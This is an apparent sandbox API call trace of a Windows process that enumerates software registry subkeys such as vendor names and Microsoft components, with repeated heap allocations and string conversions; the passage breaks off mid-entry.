[0038.167] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94bf28 [0038.167] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94bf70 [0038.167] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94bfb8 [0038.167] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c000 [0038.167] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c048 [0038.167] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c090 [0038.167] RegCloseKey (hKey=0x80000002) returned 0x0 [0038.167] RegEnumKeyW (in: hKey=0x90, dwIndex=0x0, lpName=0x94b930, cchName=0x104 | out: lpName="ATI Technologies") returned 0x0 [0038.167] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94bbb8 [0038.167] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ati technologies", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0038.168] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c0d8 [0038.168] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ati technologies", cchWideChar=16, lpMultiByteStr=0x94c0d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ati technologies", lpUsedDefaultChar=0x0) returned 16 [0038.168] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c120 [0038.168] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c0d8) returned 1 [0038.168] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c120) returned 1 [0038.168] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94bbb8) returned 1 [0038.168] RegEnumKeyW (in: hKey=0x90, dwIndex=0x1, lpName=0x94b930, cchName=0x104 | out: lpName="CBSTEST") returned 0x0 [0038.168] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94bbb8 [0038.168] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cbstest", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0038.168] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c120 [0038.168] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cbstest", cchWideChar=7, lpMultiByteStr=0x94c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cbstest", lpUsedDefaultChar=0x0) returned 7 [0038.168] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c0d8 [0038.168] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c120) returned 1 [0038.168] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c0d8) returned 1 [0038.168] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94bbb8) returned 1 [0038.168] RegEnumKeyW (in: hKey=0x90, dwIndex=0x2, lpName=0x94b930, cchName=0x104 | out: lpName="Classes") returned 0x0 [0038.168] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94bbb8 [0038.168] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="classes", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0038.168] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c0d8 [0038.168] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="classes", cchWideChar=7, lpMultiByteStr=0x94c0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="classes", lpUsedDefaultChar=0x0) returned 7 [0038.168] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c120 [0038.168] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c0d8) returned 1 [0038.168] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c120) returned 1 [0038.168] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94bbb8) returned 1 [0038.168] RegEnumKeyW (in: hKey=0x90, dwIndex=0x3, lpName=0x94b930, cchName=0x104 | out: lpName="Clients") returned 0x0 [0038.168] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94bbb8 [0038.168] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clients", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0038.168] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c120 [0038.168] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clients", cchWideChar=7, lpMultiByteStr=0x94c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clients", lpUsedDefaultChar=0x0) returned 7 [0038.170] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c0d8 [0038.170] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c120) returned 1 [0038.170] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c0d8) returned 1 [0038.170] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94bbb8) returned 1 [0038.170] RegEnumKeyW (in: hKey=0x90, dwIndex=0x4, lpName=0x94b930, cchName=0x104 | out: lpName="Intel") returned 0x0 [0038.170] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94bbb8 [0038.170] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intel", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0038.170] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c0d8 [0038.170] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intel", cchWideChar=5, lpMultiByteStr=0x94c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="intel", lpUsedDefaultChar=0x0) returned 5 [0038.170] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c120 [0038.170] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c0d8) returned 1 [0038.170] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c120) returned 1 [0038.170] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94bbb8) returned 1 [0038.170] RegEnumKeyW (in: hKey=0x90, dwIndex=0x5, lpName=0x94b930, cchName=0x104 | out: lpName="Macromedia") returned 0x0 [0038.170] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94bbb8 [0038.170] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="macromedia", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0038.170] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c120 [0038.170] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="macromedia", cchWideChar=10, lpMultiByteStr=0x94c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="macromedia", lpUsedDefaultChar=0x0) returned 10 [0038.170] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c0d8 [0038.170] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c120) returned 1 [0038.170] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c0d8) returned 1 [0038.170] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94bbb8) returned 1 [0038.170] RegEnumKeyW (in: hKey=0x90, dwIndex=0x6, lpName=0x94b930, cchName=0x104 | out: lpName="Microsoft") returned 0x0 [0038.170] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94bbb8 [0038.170] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0038.170] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c0d8 [0038.170] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft", cchWideChar=9, lpMultiByteStr=0x94c0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="microsoft", lpUsedDefaultChar=0x0) returned 9 [0038.170] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c120 [0038.170] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c0d8) returned 1 [0038.170] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c120) returned 1 [0038.171] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94bbb8) returned 1 [0038.171] RegOpenKeyExW (in: hKey=0x90, lpSubKey="Microsoft", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb84 | out: phkResult=0x18fb84*=0x34) returned 0x0 [0038.171] RegCloseKey (hKey=0x90) returned 0x0 [0038.171] RegEnumKeyW (in: hKey=0x34, dwIndex=0x0, lpName=0x94b930, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0038.171] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94bbb8 [0038.171] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0038.171] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c120 [0038.171] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x94c120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0038.171] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c0d8 [0038.171] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c120) returned 1 [0038.171] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c0d8) returned 1 [0038.171] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94bbb8) returned 1 [0038.171] RegEnumKeyW (in: hKey=0x34, dwIndex=0x1, lpName=0x94b930, cchName=0x104 | out: lpName="Active Setup") returned 0x0 [0038.171] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94bbb8 [0038.171] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="active setup", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0038.171] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c0d8 [0038.171] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="active setup", cchWideChar=12, lpMultiByteStr=0x94c0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="active setup", lpUsedDefaultChar=0x0) returned 12 [0038.171] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c120 [0038.171] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c0d8) returned 1 [0038.171] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c120) returned 1 [0038.171] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94bbb8) returned 1 [0038.171] RegEnumKeyW (in: hKey=0x34, dwIndex=0x2, lpName=0x94b930, cchName=0x104 | out: lpName="ADs") returned 0x0 [0038.171] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94bbb8 [0038.171] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ads", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0038.171] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c120 [0038.171] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ads", cchWideChar=3, lpMultiByteStr=0x94c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ads", lpUsedDefaultChar=0x0) returned 3 [0038.171] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c0d8 [0038.171] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c120) returned 1 [0038.172] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c0d8) returned 1 [0038.172] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94bbb8) returned 1 [0038.172] RegEnumKeyW (in: hKey=0x34, dwIndex=0x3, lpName=0x94b930, cchName=0x104 | out: lpName="Advanced INF Setup") returned 0x0 [0038.172] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94bbb8 [0038.172] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="advanced inf setup", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0038.172] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c0d8 [0038.172] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="advanced inf setup", cchWideChar=18, lpMultiByteStr=0x94c0d8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="advanced inf setup", lpUsedDefaultChar=0x0) returned 18 [0038.172] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c120 [0038.172] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c0d8) returned 1 [0038.172] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c120) returned 1 [0038.172] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94bbb8) returned 1 [0038.172] RegEnumKeyW (in: hKey=0x34, dwIndex=0x4, lpName=0x94b930, cchName=0x104 | out: lpName="ALG") returned 0x0 [0038.172] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94bbb8 [0038.172] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0038.172] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c120 [0038.172] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x94c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0038.172] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c0d8 [0038.172] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c120) returned 1 [0038.172] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c0d8) returned 1 [0038.172] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94bbb8) returned 1 [0038.172] RegEnumKeyW (in: hKey=0x34, dwIndex=0x5, lpName=0x94b930, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0038.172] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94bbb8 [0038.172] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0038.172] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c0d8 [0038.172] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x94c0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0038.172] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c120 [0038.172] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c0d8) returned 1 [0038.172] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c120) returned 1 [0038.172] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94bbb8) returned 1 [0038.172] RegEnumKeyW (in: hKey=0x34, dwIndex=0x6, lpName=0x94b930, cchName=0x104 | out: lpName="Assistance") returned 0x0 [0038.173] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94bbb8 [0038.173] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="assistance", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0038.173] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c120 [0038.173] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="assistance", cchWideChar=10, lpMultiByteStr=0x94c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="assistance", lpUsedDefaultChar=0x0) returned 10 [0038.173] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c0d8 [0038.173] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c120) returned 1 [0038.173] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c0d8) returned 1 [0038.173] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94bbb8) returned 1 [0038.173] RegEnumKeyW (in: hKey=0x34, dwIndex=0x7, lpName=0x94b930, cchName=0x104 | out: lpName="BidInterface") returned 0x0 [0038.173] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94bbb8 [0038.173] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bidinterface", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0038.173] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c0d8 [0038.173] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bidinterface", cchWideChar=12, lpMultiByteStr=0x94c0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bidinterface", lpUsedDefaultChar=0x0) returned 12 [0038.173] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c120 [0038.173] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c0d8) returned 1 [0038.173] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c120) returned 1 [0038.173] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94bbb8) returned 1 [0038.173] RegEnumKeyW (in: hKey=0x34, dwIndex=0x8, lpName=0x94b930, cchName=0x104 | out: lpName="COM3") returned 0x0 [0038.173] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94bbb8 [0038.173] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="com3", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0038.173] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c120 [0038.173] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="com3", cchWideChar=4, lpMultiByteStr=0x94c120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="com3", lpUsedDefaultChar=0x0) returned 4 [0038.173] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c0d8 [0038.173] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c120) returned 1 [0038.173] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c0d8) returned 1 [0038.173] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94bbb8) returned 1 [0038.173] RegEnumKeyW (in: hKey=0x34, dwIndex=0x9, lpName=0x94b930, cchName=0x104 | out: lpName="Command Processor") returned 0x0 [0038.173] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94bbb8 [0038.173] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="command processor", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0038.173] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c0d8 [0038.174] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="command processor", cchWideChar=17, lpMultiByteStr=0x94c0d8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="command processor", lpUsedDefaultChar=0x0) returned 17 [0038.174] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c120 [0038.174] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c0d8) returned 1 [0038.174] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c120) returned 1 [0038.174] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94bbb8) returned 1 [0038.174] RegEnumKeyW (in: hKey=0x34, dwIndex=0xa, lpName=0x94b930, cchName=0x104 | out: lpName="Connect to a Network Projector") returned 0x0 [0038.174] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94bbb8 [0038.174] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="connect to a network projector", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0038.174] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c120 [0038.174] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="connect to a network projector", cchWideChar=30, lpMultiByteStr=0x94c120, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="connect to a network projector", lpUsedDefaultChar=0x0) returned 30 [0038.174] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c0d8 [0038.174] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c120) returned 1 [0038.174] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c0d8) returned 1 [0038.174] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94bbb8) returned 1 [0038.174] RegEnumKeyW (in: hKey=0x34, dwIndex=0xb, lpName=0x94b930, cchName=0x104 | out: lpName="Cryptography") returned 0x0 [0038.174] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94bbb8 [0038.174] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cryptography", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0038.174] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c0d8 [0038.174] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cryptography", cchWideChar=12, lpMultiByteStr=0x94c0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cryptography", lpUsedDefaultChar=0x0) returned 12 [0038.174] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c120 [0038.174] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c0d8) returned 1 [0038.174] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c120) returned 1 [0038.174] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94bbb8) returned 1 [0038.174] RegEnumKeyW (in: hKey=0x34, dwIndex=0xc, lpName=0x94b930, cchName=0x104 | out: lpName="CTF") returned 0x0 [0038.174] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94bbb8 [0038.174] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ctf", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0038.174] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c120 [0038.174] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ctf", cchWideChar=3, lpMultiByteStr=0x94c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ctf", lpUsedDefaultChar=0x0) returned 3 [0038.174] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c0d8 [0038.174] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c120) returned 1 [0038.175] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c0d8) returned 1 [0038.175] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94bbb8) returned 1 [0038.175] RegEnumKeyW (in: hKey=0x34, dwIndex=0xd, lpName=0x94b930, cchName=0x104 | out: lpName="DataAccess") returned 0x0 [0038.175] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94bbb8 [0038.175] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dataaccess", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0038.175] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, 